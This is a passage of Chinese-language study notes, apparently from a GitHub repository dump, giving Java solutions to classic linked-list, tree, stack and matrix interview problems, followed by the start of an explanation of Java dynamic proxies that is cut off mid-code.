\t/**\n    \t * 递归\n    \t * \n    \t * @param head\n    \t * @return\n    \t */\n    \tpublic static ListNode reverse1(ListNode head) {\n    \t\tif (null == head || null == head.getNextNode()) {\n    \t\t\treturn head;\n    \t\t}\n    \t\t// A B C -> A C B -> C B A\n    \t\tListNode reversedHead = reverse1(head.getNextNode());\n    \t\thead.getNextNode().setNextNode(head);\n    \t\thead.setNextNode(null);\n    \t\treturn reversedHead;\n    \t}\n    \n    \tpublic static ListNode reverse2(ListNode head) {\n    \t\tif (null == head) {\n    \t\t\treturn head;\n    \t\t}\n    \t\t// A B C\n    \t\tListNode pre = head;  // A\n    \t\tListNode cur = head.getNextNode();  // B\n    \t\tListNode next;\n    \t\twhile (cur != null) {\n    \t\t\t// next = C\n    \t\t\tnext = cur.getNextNode();\n    \t\t\t// B -> A\n    \t\t\tcur.setNextNode(pre);\n    \t\t\t// pre = B\n    \t\t\tpre = cur;\n    \t\t\t// cur = C\n    \t\t\tcur = next;\n    \t\t\t// 第一轮下来就是 A B C -> A B A \n    \t\t\t// 第二轮下来就是 C B A  pre = C cur = null\n    \t\t\t// 再继续就会跳出循环\n    \t\t}\n    \t\n    \t\t// 虽然已经是C B A 了，但是不要忘了此时A的next还是B，所以我们要将其设置为null\n    \t\t// 将原链表的头节点的下一个节点置为null，再将反转后的头节点赋给head\n    \t\thead.setNextNode(null);\n    \t\thead = pre;\n    \t\t// 到这就是返回C了。\n    \t\treturn head;\n    \t}\n    }\n    \n    class ListNode {\n    \tpublic ListNode nextNode;\n    \tpublic int data;\n    \n    \tpublic ListNode getNextNode() {\n    \t\treturn nextNode;\n    \t}\n    \n    \tpublic void setNextNode(ListNode nextNode) {\n    \t\tthis.nextNode = nextNode;\n    \t}\n    \n    \tpublic int getData() {\n    \t\treturn data;\n    \t}\n    \n    \tpublic void setData(int data) {\n    \t\tthis.data = data;\n    \t}\n    }\n    ```\n17. 合并两个排序的链表\n    输入两个递增排序的链表，合并这两个链表并使新链表中的结点仍然是按\n    照递增排序的。\t\n\t思路: 合并两个链表，按照递增顺序，那就是假设第一个链表是1 3 第二个链表是2 4 6那怎么去合并呢？\n\t先是比较两个链表的头结点，１和２比较，那合并后的新链表头肯定是１了，然后再拿2和3比较看谁是第二个结点，那可定是2了，到这里就确定了新链表的前两个结点，\n\t就是1 2 然后再用3和4比较确定谁是第三个，这是啥？这是递归。\n\t```java\n\tpublic class MergeListTest {\n\t\tpublic static void main(String[] args) {\n\t\t\tListNode head1 = new ListNode();\n\t\t\tListNode second1 = new ListNode();\n\t\t\tListNode head2 = new ListNode();\n\t\t\tListNode second2 = new ListNode();\n\t\t\tListNode third2 = new ListNode();\n\t\t\thead1.nextNode = second1;\n\t\t\thead2.nextNode = second2;\n\t\t\tsecond2.nextNode = third2;\n\t\t\thead1.data = 1;\n\t\t\tsecond1.data = 3;\n\t\t\thead2.data = 2;\n\t\t\tsecond2.data = 2;\n\t\t\tthird2.data = 2;\n\t\t\tMergeListTest test = new MergeListTest();\n\t\t\tListNode result = test.mergeList(head1, head2);\n\t\t\tSystem.out.println(result.nextNode.nextNode.nextNode.nextNode.data);\n\t\t}\n\n\t\tpublic ListNode mergeList(ListNode head1, ListNode head2) {\n\t\t\tif (head1 == null) {\n\t\t\t\treturn head2;\n\t\t\t} else if (head2 == null) {\n\t\t\t\treturn head1;\n\t\t\t}\n\t\t\tListNode mergeHead = null;\n\t\t\tif (head1.data < head2.data) {\n\t\t\t\tmergeHead = head1;\n\t\t\t\tmergeHead.nextNode = mergeList(head1.nextNode, head2);\n\t\t\t} else {\n\t\t\t\tmergeHead = head2;\n\t\t\t\tmergeHead.nextNode = mergeList(head1, head2.nextNode);\n\t\t\t}\n\t\t\treturn mergeHead;\n\t\t}\n\t}\n\n\tclass ListNode {\n\t\tpublic ListNode nextNode;\n\t\tpublic int data;\n\n\t\tpublic ListNode getNextNode() {\n\t\t\treturn nextNode;\n\t\t}\n\n\t\tpublic void setNextNode(ListNode nextNode) {\n\t\t\tthis.nextNode = nextNode;\n\t\t}\n\n\t\tpublic int getData() {\n\t\t\treturn data;\n\t\t}\n\n\t\tpublic void setData(int data) {\n\t\t\tthis.data = data;\n\t\t}\n\t}\n\t```\n18. 树的子结构\t               \n\n    输入两颗二叉树 A 和 B，判断 B 是不是 A 的子结构。\n\t![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/findchildbinarytree.png)\t  \n\t思路:   想要判断B树是不是A的子树，那首先要先去在A树种遍历找到与B树根节点相同的结点，然后再从这个结点去遍历子结点\n\t看字节点与B树是否一样，如果不一样就继续往下遍历结点，找与B树根节点一直的结点，如此循环。\n\t以上图为例，我们先在A中找8的结点，发现A的根节点就是，然后继续看A的左子节点是8，而B的左子节点是9，锁着这\n\t肯定不是了，继续往下找为8的结点，发现在A树的第二层找打了，然后再进行判断该结点下的子节点，发现为9和2，正好与B的相同\n\t就是他了。\n\t```java\n\tpublic class Problem18 {\n\t\tpublic static void main(String args[]) {\n\t\t\tBinaryTreeNode root1 = new BinaryTreeNode();\n\t\t\tBinaryTreeNode node1 = new BinaryTreeNode();\n\t\t\tBinaryTreeNode node2 = new BinaryTreeNode();\n\t\t\tBinaryTreeNode node3 = new BinaryTreeNode();\n\t\t\tBinaryTreeNode node4 = new BinaryTreeNode();\n\t\t\tBinaryTreeNode node5 = new BinaryTreeNode();\n\t\t\tBinaryTreeNode node6 = new BinaryTreeNode();\n\t\t\troot1.leftNode = node1;\n\t\t\troot1.rightNode = node2;\n\t\t\tnode1.leftNode = node3;\n\t\t\tnode1.rightNode = node4;\n\t\t\tnode4.leftNode = node5;\n\t\t\tnode4.rightNode = node6;\n\t\t\troot1.value = 8;\n\t\t\tnode1.value = 8;\n\t\t\tnode2.value = 7;\n\t\t\tnode3.value = 9;\n\t\t\tnode4.value = 2;\n\t\t\tnode5.value = 4;\n\t\t\tnode6.value = 7;\n\t\t\tBinaryTreeNode root2 = new BinaryTreeNode();\n\t\t\tBinaryTreeNode a = new BinaryTreeNode();\n\t\t\tBinaryTreeNode b = new BinaryTreeNode();\n\t\t\troot2.leftNode = a;\n\t\t\troot2.rightNode = b;\n\t\t\troot2.value = 8;\n\t\t\ta.value = 9;\n\t\t\tb.value = 2;\n\t\t\tSystem.out.println(hasSubTree(root1, root2));\n\t\t}\n\n\t\tpublic static boolean hasSubTree(BinaryTreeNode root1, BinaryTreeNode root2) {\n\t\t\tboolean result = false;\n\t\t\tif (root1 != null && root2 != null) {\n\t\t\t\tif (root1.value == root2.value) {\n\t\t\t\t\tresult = doesTree1HavaTree2(root1, root2);\n\t\t\t\t\tif (!result) {\n\t\t\t\t\t\tresult = hasSubTree(root1.leftNode, root2);\n\t\t\t\t\t}\n\t\t\t\t\tif (!result) {\n\t\t\t\t\t\tresult = hasSubTree(root1.rightNode, root2);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\n\t\tprivate static boolean doesTree1HavaTree2(BinaryTreeNode root1,\n\t\t\t\tBinaryTreeNode root2) {\n\t\t\tif (root2 == null) {\n\t\t\t\treturn true;\n\t\t\t} else if (root1 == null)\n\t\t\t\treturn false;\n\t\t\tif (root1.value != root2.value) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn doesTree1HavaTree2(root1.leftNode, root2.leftNode)\n\t\t\t\t\t&& doesTree1HavaTree2(root1.rightNode, root2.rightNode);\n\t\t}\n\t}\n\n\tclass BinaryTreeNode {\n\t\tint value;\n\t\tBinaryTreeNode leftNode;\n\t\tBinaryTreeNode rightNode;\n\t}\n\t```\n19. 二叉树的镜像\n    请完成一个函数，输入一个二叉树，该函数输出它的镜像。\t\n    思路：什么事镜像？ 就像照镜子一样。打个比方现在的数是\n    ```\n            1                                                   1\n        2         3      左图的二叉树的镜像就是             3          2\n     4     5  6       7                              7       6  5        4\n    ```\n    就是从根节点开始，先前序遍历这棵树的每个结点,先转换它的两个子节点，然后再对这两个子节点下的子节点进行转换。\n    ```java\n    public class mirrorBinaryTreeTest {\n        public static void main(String[] args) {\n    \t\tBinaryTreeNode root1 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node1 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node2 = new BinaryTreeNode();\n    \n    \t\tBinaryTreeNode node3 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node4 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node5 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node6 = new BinaryTreeNode();\n    \t\troot1.leftNode = node1;\n    \t\troot1.rightNode = node2;\n    \t\tnode1.leftNode = node3;\n    \t\tnode1.rightNode = node4;\n    \t\tnode4.leftNode = node5;\n    \t\tnode4.rightNode = node6;\n    \t\troot1.value = 8;\n    \t\tnode1.value = 8;\n    \t\tnode2.value = 7;\n    \t\tnode3.value = 9;\n    \t\tnode4.value = 2;\n    \t\tnode5.value = 4;\n    \t\tnode6.value = 7;\n    \t\tBinaryTreeNode rootBinaryTreeNode = mirrorBinaryTree(root1);\n    \t}\n    \n    \tpublic static BinaryTreeNode mirrorBinaryTree(BinaryTreeNode root) {\n    \t\tif (root == null) {\n    \t\t\treturn null;\n    \t\t}\n    \t\tif (root.leftNode == null && root.rightNode == null)\n    \t\t\treturn null;\n    \t\tStack<BinaryTreeNode> stack = new Stack<BinaryTreeNode>();\n    \t\twhile (root != null || !stack.isEmpty()) {\n    \t\t\twhile (root != null) {\n    \t\t\t\tBinaryTreeNode temp = root.leftNode;\n    \t\t\t\troot.leftNode = root.rightNode;\n    \t\t\t\troot.rightNode = temp;\n    \t\t\t\tstack.push(root);\n    \t\t\t\troot = root.leftNode;\n    \t\t\t}\n    \t\t\troot = stack.pop();\n    \t\t\troot = root.rightNode;\n    \t\t}\n    \t\treturn root;\n    \t}\n    }\n    \n    class BinaryTreeNode {\n    \tpublic int value;\n    \tpublic BinaryTreeNode leftNode;\n    \tpublic BinaryTreeNode rightNode;\n    \n    \tpublic BinaryTreeNode() {\n    \n    \t}\n    \n    \tpublic BinaryTreeNode(int value) {\n    \t\tthis.value = value;\n    \t\tthis.leftNode = null;\n    \t\tthis.rightNode = null;\n    \t}\n    }\n    ```\n20. 顺时针打印矩阵\n    输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数字。\n    ```\n    1   2   3    4  \n    5   6   7    8\n    9   10  11  12\n    ```\n    思路：顺时针打印也就是4步，从左往右、从上往下、从右向左、从下往上，然后继续循环如此，\n    当然在每次循环的时候都要判断好，以免只有一行或者一列或者一个元素的情况。\n    ```java\n    public class printMatrixTest {\n        public static void main(String[] args) {\n    \t\tint[][] arr = { { 1, 2, 3, 4 }, { 5, 6, 7, 8 }, { 9, 10, 11, 12 } };\n    \t\tprintMatrixInCircle(arr);\n    \t}\n    \n    \tpublic static void printMatrixInCircle(int[][] array) {\n    \t\tif (array == null) {\n    \t\t\treturn;\n    \t\t}\n    \t\tint start = 0;\n    \t\t// 循环的次数就是维度要大于指针的2倍\n    \t\twhile (array[0].length > start * 2 && array.length > start * 2) {\n    \t\t\tprintOneCircle(array, start);\n    \t\t\tstart++;\n    \t\t}\n    \t}\n    \n    \tprivate static void printOneCircle(int[][] array, int start) {\n    \t\tint columns = array[0].length;\n    \t\tint rows = array.length;\n    \t\tint endX = columns - 1 - start;\n    \t\tint endY = rows - 1 - start;\n    \t\t// 从左到右打印一行\n    \t\tfor (int i = start; i <= endX; i++) {\n    \t\t\tint number = array[start][i];\n    \t\t\tSystem.out.print(number + \",\");\n    \t\t}\n    \t\t// 从上到下打印一列\n    \t\tif (start < endY) {\n    \t\t\tfor (int i = start + 1; i <= endY; i++) {\n    \t\t\t\tint number = array[i][endX];\n    \t\t\t\tSystem.out.print(number + \",\");\n    \t\t\t}\n    \t\t}\n    \t\t// 从右到左打印一行\n    \t\tif (start < endX && start < endY) {\n    \t\t\tfor (int i = endX - 1; i >= start; i--) {\n    \t\t\t\tint number = array[endY][i];\n    \t\t\t\tSystem.out.print(number + \",\");\n    \t\t\t}\n    \t\t}\n    \t\t// 从下到上打印一列\n    \t\tif (start < endY && start < endY - 1) {\n    \t\t\tfor (int i = endY - 1; i >= start + 1; i--) {\n    \t\t\t\tint number = array[i][start];\n    \t\t\t\tSystem.out.print(number + \",\");\n    \t\t\t}\n    \t\t}\n    \t}\n    }\n    ```\n21. 包含`min`函数的栈        \n    定义栈的数据结构,请在该类型中实现一个能够得到栈的最小元素的`min`函数。\n    在该栈中,调用`min`、`push`及`pop`的时间复杂度都是O(1)          \n    思路: 最先想到的就是用一个变量记录住最小的元素，但是如果这个最小的元素被取出了呢？ \n    怎么再返回剩下所有元素中最小的一个呢？很显然用一个变量记住是不行的，我们必须要用\n    一个辅助栈来纪录这小小元素。\n    ```java\n    public class MinInStack {\n        /**\n    \t * 辅助栈，来纪录这些小的元素\n    \t */\n    \tprivate MyStack<Integer> minStack = new MyStack<>();\n    \tprivate MyStack<Integer> dataStack = new MyStack<>();\n    \n    \tpublic void push(Integer item) {\n    \t\tdataStack.push(item);\n    \t\tif (minStack.length == 0 || item <= minStack.head.data) {\n    \t\t\tminStack.push(item);\n    \t\t} else {\n    \t\t\tminStack.push(minStack.head.data);\n    \t\t}\n    \t}\n    \n    \tpublic Integer pop() {\n    \t\tif (dataStack.length == 0 || minStack.length == 0) {\n    \t\t\treturn null;\n    \t\t}\n    \t\tminStack.pop();\n    \t\treturn dataStack.pop();\n    \t}\n    \n    \tpublic Integer min() {\n    \t\tif (minStack.length == 0) {\n    \t\t\treturn null;\n    \t\t}\n    \t\treturn minStack.head.data;\n    \t}\n    \n    \tpublic static void main(String[] args) {\n    \t\tMinInStack test = new MinInStack();\n    \t\ttest.push(3);\n    \t\ttest.push(2);\n    \t\ttest.push(1);\n    \t\tSystem.out.println(test.pop());\n    \t\tSystem.out.println(test.min());\n    \t}\n    }\n    \n    /**\n     * 链表\n     */\n    class ListNode<K> {\n    \tK data;\n    \tListNode<K> nextNode;\n    }\n    \n    /**\n     * 自定义栈的数据结构\n     */\n    class MyStack<K> {\n    \tpublic ListNode<K> head;\n    \t/**\n    \t * 当前栈的大小\n    \t */\n    \tpublic int length;\n    \n    \tpublic void push(K item) {\n    \t\tListNode<K> node = new ListNode<K>();\n    \t\tnode.data = item;\n    \t\tnode.nextNode = head;\n    \t\thead = node;\n    \t\tlength++;\n    \t}\n    \n    \tpublic K pop() {\n    \t\tif (head == null)\n    \t\t\treturn null;\n    \t\tListNode<K> temp = head;\n    \t\thead = head.nextNode;\n    \t\tlength--;\n    \t\treturn temp.data;\n    \t}\n    \n    }\n    ```\n22. 栈的压入、弹出序列         \n    题目:输入两个整数序列,第一个序列表示栈的压入顺序,请判断第二个序列是 \n    否为该栈的弹出序列。假设压入栈的所有数字均不相等。\n    例如压栈序列为 1、2、3、4、5.序列 4、5、3、2、1 是压栈序列对应的一个\n    弹出序列,但 4、3、5、1、2 却不是。        \n    思路: 这道题我完全没看懂，看完后实在不理解是什么意思。 - -！搜了很久才弄明白。\n    什么事对应的弹出序列呢？ 就是这个入栈后所有的可能弹出的方式。比如我可以完全按照1、2、3、4、5\n    的方式去放入，然后取出就是5、4、3、2、1，也可以在1、2\n    进入的时候先把2弹出，然后再继续添加3、4、5，这样的弹出顺序就是2、5、4、3、1。\n    但是为什么4、3、5、1、2是不对的呢？ 这是因为1、2、3、4添加进入的时候，我们先弹出\n    4然后再弹出3，因为以后要弹5，所以我们必须继续添加5，这样栈内就剩下了1、2、5，然后我们再\n    往外弹出就只能是5、2、1，也就是他的顺序只能是4、3、5、2、1。        \n    那怎么判断呢？ 如果下一个弹出的数字刚好是栈顶数字，那么直接弹出。\n    如果下一个弹出的数字不在栈顶，我们把压栈序列中还没有入栈的数字压入辅助栈，\n    直到把下一个需要弹出的数字压入栈顶为止。如果所有的数字都压入栈了仍没有\n    找到下一个弹出的数字，那么该序列不可能是一个弹出序列。\n    ```java\n    public class PopOrderTest {\n        public static void main(String[] args) {\n    \t\tint[] array1 = { 1, 2, 3, 4, 5 };\n    \t\tint[] array2 = { 4, 3, 5, 1, 2 };\n    \t\tSystem.out.println(isPopOrder(array1, array2));\n    \t}\n    \n    \tpublic static boolean isPopOrder(int[] line1, int[] line2) {\n    \t\tif (line1 == null || line2 == null) {\n    \t\t\treturn false;\n    \t\t}\n    \t\tint index = 0;\n    \t\t// 把line1中的元素都加入该栈\n    \t\tStack<Integer> stack = new Stack<Integer>();\n    \t\tfor (int i = 0; i < line2.length; i++) {\n    \t\t\tif (!stack.isEmpty() && stack.peek() == line2[i]) {\n    \t\t\t\t// 要取出的元素正好是栈顶的元素，就直接取出。\n    \t\t\t\tstack.pop();\n    \t\t\t} else {\n    \t\t\t\tif (index == line1.length) {\n    \t\t\t\t\t// line1的元素已经全部加入栈中，且要取出的元素仍然不是栈顶的元素，那就说明line1中不包含要取出的元素。直接返回false\n    \t\t\t\t\treturn false;\n    \t\t\t\t} else {\n    \t\t\t\t\t// 只要要取出的元素不是栈顶的，就一直往栈里面加\n    \t\t\t\t\tdo {\n    \t\t\t\t\t\tstack.push(line1[index++]);\n    \t\t\t\t\t} while (stack.peek() != line2[i] && index != line1.length);\n    \t\t\t\t\t\n    \t\t\t\t\tif (stack.peek() == line2[i]) {\n    \t\t\t\t\t\tstack.pop();\n    \t\t\t\t\t} else {\n    \t\t\t\t\t\treturn false;\n    \t\t\t\t\t}\n    \t\t\t\t}\n    \t\t\t}\n    \t\t}\n    \t\treturn true;\n    \t}\n    }\n    ```\n23. 从上往下打印二叉树         \n    从上往下打印二叉树的每个结点，同一层的结点按照从左到右的顺序打印。      \n    思路: 每一次打印一个结点的时候，如果该结点有子节点，把该结点的子节点放到一个队列的尾。接下来到队列的头部取出最早进入队列的结点，重复前面打印操作，直到队列中所有的结点都被打印出为止。\n    ```java\n    public class Problem23 {\n        public static void main(String args[]) {\n    \t\tBinaryTreeNode root1 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node1 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node2 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node3 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node4 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node5 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node6 = new BinaryTreeNode();\n    \n    \t\troot1.leftNode = node1;\n    \t\troot1.rightNode = node2;\n    \t\tnode1.leftNode = node3;\n    \t\tnode1.rightNode = node4;\n    \t\tnode4.leftNode = node5;\n    \t\tnode4.rightNode = node6;\n    \t\troot1.value = 8;\n    \t\tnode1.value = 8;\n    \t\tnode2.value = 7;\n    \t\tnode3.value = 9;\n    \t\tnode4.value = 2;\n    \t\tnode5.value = 4;\n    \t\tnode6.value = 7;\n    \n    \t\tProblem23 test = new Problem23();\n    \t\ttest.printFromTopToBottom(root1);\n    \t}\n    \n    \tpublic void printFromTopToBottom(BinaryTreeNode root) {\n    \t\tif (root == null)\n    \t\t\treturn;\n    \t\tQueue<BinaryTreeNode> queue = new LinkedList<BinaryTreeNode>();\n    \t\tqueue.add(root);\n    \t\twhile (!queue.isEmpty()) {\n    \t\t\tBinaryTreeNode node = queue.poll();\n    \t\t\tSystem.out.print(node.value);\n    \t\t\tif (node.leftNode != null) {\n    \t\t\t\tqueue.add(node.leftNode);\n    \t\t\t}\n    \t\t\tif (node.rightNode != null) {\n    \t\t\t\tqueue.add(node.rightNode);\n    \t\t\t}\n    \t\t}\n    \t}\n    }\n    \n    class BinaryTreeNode {\n    \tpublic int value;\n    \tpublic BinaryTreeNode leftNode;\n    \tpublic BinaryTreeNode rightNode;\n    \n    \tpublic BinaryTreeNode() {\n    \n    \t}\n    \n    \tpublic BinaryTreeNode(int value) {\n    \t\tthis.value = value;\n    \t\tthis.leftNode = null;\n    \t\tthis.rightNode = null;\n    \t}\n    }\n    ```\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/剑指Offer(下).md",
    "content": "剑指Offer(下)\n===\n\n剑指Offer(上)一共是23道题。       \n\n24. 二叉搜索树的后序遍历序列     \n    输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果。 是则返回`true`,否则返回`false`。假设输入的数组的任意两个数字都互不相同              \n    思路:  在后序遍历得到的序列中，最后一个数字是树的根节点的值。\n    数组中前面的数字可以分为两部分：第一部分是左子树结点的值，\n    它们都比根节点的值小；第二部分是右子树结点的值，他们都比根节点的值大。     \n     \n    ```\n    public class Problem24 {\n        public static void main(String[] args) {\n    \t\tint[] array = { 5, 7, 6, 9, 11, 10, 8 };\n    \t\tSystem.out.println(verfiySequence(array));\n    \t}\n    \n    \tpublic static boolean verfiySequence(int[] array) {\n    \t\tif (array == null || array.length == 0) {\n    \t\t\treturn false;\n    \t\t}\n    \t\tint length = array.length;\n    \t\t// 最后一个是根节点\n    \t\tint root = array[length - 1];\n    \t\t// 左右子树的分界点，因为左子树都是小于根节点的，右子树都是大于的。\n    \t\tint cut = 0;\n    \t\tfor (int i = 0; i < length - 1; i++) {\n    \t\t\tif (array[i] > root) {\n    \t\t\t\t// 到了右子树的分界点\n    \t\t\t\tcut = i + 1;\n    \t\t\t\tbreak;\n    \t\t\t}\n    \t\t}\n    \t\tif (cut == 0) {\n    \t\t\t// 没有右子树，都是左子树，然后就继续判断除了上面根节点后的其他所有节点，这些都是左子树的。\n    \t\t\tverfiySequence(Arrays.copyOfRange(array, 0, length - 1));\n    \t\t} else {\n    \t\t\t// 有右子树，判断从分界点开始后的所有数是不是都大于根节点。\n    \t\t\tfor (int j = cut; j < length - 1; j++) {\n    \t\t\t\tif (array[j] < root) {\n    \t\t\t\t\t// 有不大于根节点值的数，肯定是错误的。\n    \t\t\t\t\treturn false;\n    \t\t\t\t}\n    \t\t\t}\n    \t\t}\n    \t\tboolean left = true;\n    \t\tif (cut > 0) {\n    \t\t\t// 判断左子数里面的元素是否都对\n    \t\t\tleft = verfiySequence(Arrays.copyOfRange(array, 0, cut));\n    \t\t}\n    \t\tboolean right = true;\n    \t\tif (cut < length - 1) {\n    \t\t\t// 右子树\n    \t\t\tright = verfiySequence(Arrays.copyOfRange(array, cut, length - 1));\n    \t\t}\n    \t\treturn (right && left);\n    \t}\n    }\n    ```\n25. 二叉树中和为某一值的路径        \n    输入一颗二叉树和一个整数，打印出二叉树中结点值的和为输入整数的所有路径。从树的根节点开始往下一直到叶结点所经过的所有的结点形成一条路径。      \n    思路: \n    \n    ```\n    public class Problem25 {\n        public static void main(String args[]) {\n    \t\tBinaryTreeNode root1 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node1 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node2 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node3 = new BinaryTreeNode();\n    \t\tBinaryTreeNode node4 = new BinaryTreeNode();\n    \t\troot1.leftNode = node1;\n    \t\troot1.rightNode = node2;\n    \t\tnode1.leftNode = node3;\n    \t\tnode1.rightNode = node4;\n    \t\troot1.value = 10;\n    \t\tnode1.value = 5;\n    \t\tnode2.value = 12;\n    \t\tnode3.value = 4;\n    \t\tnode4.value = 7;\n    \t\tProblem25 testFindPath = new Problem25();\n    \t\ttestFindPath.findPath(root1, 22);\n    \t}\n    \n    \tpublic void findPath(BinaryTreeNode root, int sum) {\n    \t\tif (root == null)\n    \t\t\treturn;\n    \t\tStack<Integer> stack = new Stack<Integer>();\n    \t\tint currentSum = 0;\n    \t\tfindPath(root, sum, stack, currentSum);\n    \t}\n    \n    \tprivate void findPath(BinaryTreeNode root, int sum, Stack<Integer> stack, int currentSum) {\n    \t\tcurrentSum += root.value;\n    \t\tstack.push(root.value);\n    \t\tif (root.leftNode == null && root.rightNode == null) {\n    \t\t\t// 到节点的尾部了\n    \t\t\tif (currentSum == sum) {\n    \t\t\t\tfor (int path : stack) {\n    \t\t\t\t\tSystem.out.print(path + \" \");\n    \t\t\t\t}\n    \t\t\t\tSystem.out.println();\n    \t\t\t}\n    \t\t}\n    \t\tif (root.leftNode != null) {\n    \t\t\tfindPath(root.leftNode, sum, stack, currentSum);\n    \t\t}\n    \t\tif (root.rightNode != null) {\n    \t\t\tfindPath(root.rightNode, sum, stack, currentSum);\n    \t\t}\n    \t\tstack.pop();\n    \t}\n    }\n    \n    class BinaryTreeNode {\n    \tpublic static int value;\n    \tpublic BinaryTreeNode leftNode;\n    \tpublic BinaryTreeNode rightNode;\n    }\n    ```\n\n26. 复杂链表的复制      \n    实现函数复制一个复杂链表。在复杂链表中,每个结点除了有一个 next 指针指向下一个结点外,还有一个指向链表中任意结点或 null。      \n    \n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/动态代理.md",
    "content": "动态代理\n===\n\n有关代理模式已经动态代理和静态代理的区别请查看另一篇文章[设计模式](https://github.com/CharonChui/AndroidNote/blob/master/JavaKnowledge/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md)             \n\n刚毕业的时候在学习`android`时看到过[张孝祥老师的Java高新技术](http://yun.itheima.com/course/5.html)，里面\n讲到了动态代理，当时看完后感觉懂了.但是现在全部都忘了。       \n因为动态代理我们平时用的其实并不多，但是作为`Android`开发，你肯定知道`Retrofit`，而`Retrofit`就是基于动态代理实现。   \n\n\n\n动态代理的类和接口\n---\n\n\n- `Proxy`:动态代理机制的主类，提供一组静态方法为一组接口动态的生成对象和代理类。\n\n```java\n// 方法 1: 该方法用于获取指定代理对象所关联的调用处理器\npublic static InvocationHandler getInvocationHandler(Object proxy) \n\n// 方法 2：该方法用于获取关联于指定类装载器和一组接口的动态代理类的类对象\npublic static Class<?> getProxyClass(ClassLoader loader, \nClass<?>... interfaces)\n\n// 方法 3：该方法用于判断指定类对象是否是一个动态代理类\npublic static boolean isProxyClass(Class<?> cl) \n\n// 方法 4：该方法用于为指定类装载器、一组接口及调用处理器生成动态代理类实例\npublic static Object newProxyInstance(ClassLoader loader,\n Class<?>[] interfaces,InvocationHandler h)\n```\n\n\n- `InvocationHandler`:调用处理器接口，自定义invokle方法，用于实现对于真正委托类的代理访问。\n\n```java\n/**\n 该方法负责集中处理动态代理类上的所有方法调用。\n 第一个参数既是代理类实例，\n 第二个参数是被调用的方法对象\n 第三个方法是调用参数。\n 调用处理器根据这三个参数进行预处理或分派到委托类实例上发射执行\n*/\npublic Object invoke(Object proxy, Method method, Object[] args)\n    throws Throwable;\n```\n\n- `ClassLoader`:类装载器类，将类的字节码装载到`Java`虚拟机`(JVM)`中并为其定义类对象，然后该类才能被使用。\n`Proxy`类与普通类的唯一区别就是其字节码是由`JVM`在运行时动态生成的而非预存在于任何一个`.class`文件中。\n每次生成动态代理类对象时都需要指定一个类装载器对象:`newProxyInstance()`方法第一个参数。  \n\n\n动态代理机制\n---\n\n`java`动态代理创建对象的过程为如下步骤:   \n\n- 通过实现`InvocationHandler`接口创建自己的调用处理器           \n```java\n// InvocationHandlerImpl 实现了 InvocationHandler 接口，并能实现方法调用从代理类到委托类的分派转发\n// 其内部通常包含指向委托类实例的引用，用于真正执行分派转发过来的方法调用\nInvocationHandler handler = new InvocationHandlerImpl(..); \n```\n\n- 通过为`Proxy`类指定`ClassLoader`对象和一组`interface`来创建动态代理类        \n```java\n// 通过 Proxy 为包括 Interface 接口在内的一组接口动态创建代理类的类对象\nClass clazz = Proxy.getProxyClass(classLoader, new Class[] { Interface.class, ... }); \n```\n- 通过反射机制获得动态代理类的构造函数，其唯一参数类型是调用处理器接口类型          \n```java\n// 通过反射从生成的类对象获得构造函数对象\nConstructor constructor = clazz.getConstructor(new Class[] { InvocationHandler.class });\n```\n\n- 通过构造函数创建动态代理类实例，构造时调用处理器对象作为参数被传入\n```java\n// 通过构造函数对象创建动态代理类实例\nInterface Proxy = (Interface)constructor.newInstance(new Object[] { handler });\n```\n\n为了简化对象创建过程,`Proxy`类中的`newProxyInstance`方法封装了2~4，只需两步即可完成代理对象的创建。\n```java\n// InvocationHandlerImpl 实现了 InvocationHandler 接口，并能实现方法调用从代理类到委托类的分派转发\nInvocationHandler handler = new InvocationHandlerImpl(..); \n\n// 通过 Proxy 直接创建动态代理类实例\nInterface proxy = (Interface)Proxy.newProxyInstance( classLoader, \n     new Class[] { Interface.class }, \n     handler );\n```\n\n\n动态代理的注意点\n---\n\n- 包:代理接口是`public`，则代理类被定义在顶层包`(package为空)`，否则`(default)`，代理类被定义在该接口所在包，\n- 生成的代理类为`public final`的，不能被继承\n- 类名:格式是`$ProxyN`，`N`是逐一递增的数字，代表`Proxy`被第`N`次动态生成的代理类，要注意对于同一组接口(接口的排列顺序也相同)，不会重复创建动态代理类，而是返回一个先前已经创建并缓存了的代理类对象。提高了效率。\n- `Proxy`类是它的父类，这个规则适用于所有由`Proxy`创建的动态代理类。(也算是`java`动态代理的一处缺陷，`java`不支持多继承，所以无法实现对`class`的动态代理，只能对于`Interface`的代理)而且该类还实现了其所代理的一组接口，这就是为什么它能够被安全地类型转换到其所代理的某接口的根本原因。\n- 代理类的根类`java.lang.Object`中有三个方法也同样会被分派到调用处理器的`invoke`方法执行，它们是`hashCode`，`equals`和`toString`.    \n\n\n示例代码:      \n\n```java\nimport java.lang.reflect.InvocationHandler;  \nimport java.lang.reflect.Method;  \nimport java.lang.reflect.Proxy;  \n\npublic class HelloServiceProxy implements InvocationHandler {  \n\n\n    private Object target;    \n    /**  \n     * 绑定委托对象并返回一个【代理占位】 \n     * @param target 真实对象 \n     * @return  代理对象【占位】 \n     */    \n    public  Object bind(Object target, Class[] interfaces) {    \n        this.target = target;    \n        //取得代理对象    \n       return 